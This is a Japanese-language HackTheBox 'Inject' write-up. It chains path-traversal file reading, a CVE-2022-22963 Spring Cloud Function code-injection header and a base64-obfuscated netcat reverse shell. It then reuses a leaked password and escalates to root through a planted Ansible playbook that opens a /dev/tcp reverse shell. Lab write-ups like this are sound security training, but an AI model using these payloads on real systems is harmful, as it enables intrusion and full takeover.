🍏

【HackTheBox】Inject Writeup

2023/07/29に公開

Foothold

nmap

PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

port 8080 website enumeration

Zodd Cloudというファイルシェアサービスがありました。

ファイルをアップロードしてみます。画像ファイルしかアップロードできないみたいです。

view your imageをクリックするとアップロードした画像が表示されます。URLのパターンは/show_image?img=ファイル名でした。

File Inclusion

/show_image?img=../../../../../../etc/passwdでサーバー上のファイルをreadしてみます。

readできました。ユーザーはfrankとphilがいます。
/show_image?img=../../../../../../home/frankでやると、ディレクトリの中身が見れました。

LFIってディレクトリのを渡すとlsみたいな結果が返ってきてたっけ、、?と思いました。他のマシーンではどんなファイルがあるのかを当てないといけなかった気がします。
(後で調べたら、javaならこれでdirectory listingができるみたいです。知りませんでした。)

/home/frank/.m2/settings.xmlの中にphilのパスワードがありましたが、このcredentailsでsshログインできませんでした。

user.txtは/home/philにありましたが、readできないです。
各ユーザーのホームディレクトリにいいヒントがなかったので、次はwebアプリのソースコードを見てみます。使っているライブラリーやframeworkが分かればexploitが見つかるかもしれません。

Web Application Source Analysis

/var/www/WebAppの中身をみてみます。

pom.xmlとmvnwがあるのでjavaのウェブアプリですね。
pom.xmlにアプリの設定いろいろ書いてあるはずなので、確認します。

pom.xml(一部)
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
...[SNIP]...
		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
...[SNIP]...
</project>

spring bootはv2.6.5を使っていて、spring cloud functionはv3.2.2を使っています。
exploitを調べると、spring boot<=2.6.5はCVE-2022-22965、spring cloud function<=3.2.2はCVE-2022-22963がありました。
https://nvd.nist.gov/vuln/detail/CVE-2022-22963
https://nvd.nist.gov/vuln/detail/CVE-2022-22965

CVE-2022-22963

ググっていい感じのPoCを探します。https://github.com/darryk10/CVE-2022-22963
/functionRouterにPOSTする時にspring.cloud.function.routing-expressionというheaderの値で任意のコマンドを実行することができるみたいです。
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")で試します。


レスポンスはinternal server errorでしたが、/tmp/test.txtが作られたかどうかを見てみます。

/tmp/test.txtが作られました!RCEが確認できました。

ではreverse shellを取ります。
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.4 9001 >/tmp/f")とかでやってみましたが、うまくいかなったです。bad charactersの問題かもしれないので、base64でエンコードしてみます。

いろいろ試した結果、payloadをbase64 encodeしてbrace expansionで繋いだらいけました。いい感じのpayload作るのが苦手なのでかなり時間かかりました、、

reverse shell payload
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC40IDkwMDEgPi90bXAvZg==}|{base64,-d}|{bash,-i}")

ユーザーはfrankでした。philに切り替えないとuser flagが見れないです。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 39382
bash: cannot set terminal process group (821): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ 

Shell as frank

LFIの時に見たphilのパスワードでsuしてみたらphilのシェルが取れました。

frank@inject:/$ su phil
su phil
Password: DocPhillovestoInject123

whoami
phil
cd /home/phil
cat user.txt

python3 -c 'import pty;pty.spawn("/bin/bash")'
phil@inject:/$

user flagゲットできました。

Shell as phil

linpeasを実行してみると、/opt/automation/tasks/playbook_1.ymlというファイルが出てきました。直近5分以内の変更があったということで、pspyでプロセスを見てみたいと思います。

linpeasの出力(一部)
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/tmp/hsperfdata_frank/821
/opt/automation/tasks/playbook_1.yml

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                   
  Group staff: 
  /opt/automation/tasks

╔══════════╣ All users & groups                                   
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

ファイルの中身がこれです。

playbook_1.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

pspyの出力にこのログがありました。rootが/opt/automation/tasks/にある全てのymlファイルを実行するっぽいです。

pspyの出力(一部)
CMD: UID=0     PID=31343  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml                  

linpeasの結果でphilは/opt/automation/tasksに書き込めることがわかったので、root shellを取るymlファイルを作ります。ansibleのドキュメントを見ながら書きました:https://docs.ansible.com/ansible/2.9/modules/command_module.html#

/opt/automation/tasks/test_playbook.yml
- hosts: localhost
  tasks:
  - name: rev shell
    command: bash -c '/bin/bash -i >& /dev/tcp/10.10.14.4/1234 0>&1'

そしてlistenerを起動しておいて待つだけです。

Shell as root

root shellが取れました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234                           
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 40750
bash: cannot set terminal process group (38120): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# 

memo

ユーザーの切り替えもpriv escもシンプルでしたが、インジェクションのpayloadの細かい調整が思ったより難しかったです。

Discussion